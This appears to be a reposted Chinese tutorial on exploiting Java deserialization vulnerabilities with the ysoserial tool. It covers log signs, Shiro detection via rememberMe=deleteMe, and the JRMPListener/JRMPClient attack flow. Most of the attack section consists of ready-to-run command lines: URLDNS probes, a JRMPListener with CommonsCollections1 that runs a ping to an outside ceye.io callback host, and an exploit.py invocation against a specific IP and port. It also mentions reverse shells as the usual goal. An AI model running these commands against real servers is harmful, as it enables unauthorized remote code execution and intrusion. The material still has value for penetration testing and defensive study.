Ysoserial 简单利用
1. Java 反序列化特征
在日志中,特征通常表现为
- 请求格式 Json、xml、soap、二进制 - 关键字:rmi、jndi、
- 响应对应命令执行结果信息
2. Ysoserial 流量特征
3. Ysoserial 攻击流程
项目地址:https://github.com/frohoff/ysoserial
3.1 找到序列化接口
工具逐个探测
- 例如 shiro,如果有漏洞,则会返回
rememberMe=deleteMe
URLDNS
这个 gadget 一般用于渗透时Java 反序列化漏洞的探测
3.2 漏洞利用
一般会进行反弹 shell 等利用
3.2.1 常用命令
使用 ysoserial,在命令行中输入指定
command
,就会自动执行命令,发起攻击
在使用命令的时候,要先 明确使用哪一个payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] '[command]'
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xx.xxxxx.ceye.io
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
3.2.2 使用案例
在公网 vps 监听端口号
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】'
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
在 vps 监听 JRMPListener 的 1099 端口,执行 ping 命令,验证是否执行成功
commands 表示要执行的命令
重启一个 shell 端口
python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】 【JRMPListener port】 JRMPClient
python exploit.py 118.89.53.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139 1099 JRMPClient
4. Ysoserial 攻击原理
ysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPLIstener 使用,攻击流程就是:
先往存在漏洞的服务器发送 payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个 RMI服务并监听在设置的端口
然后攻击方在自己的服务器使用 exploit/JRMPClient 与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apache.commons.collections 包,则可以发送CommonsCollections系列的payload ),从而达到命令执行的结果。
问题
- 在攻击的时候,怎么选择 CommonsCollection> 要进行逐一测试,看那条攻击链可行
参考
版权归原作者 Buffedon 所有, 如有侵权,请联系我们删除。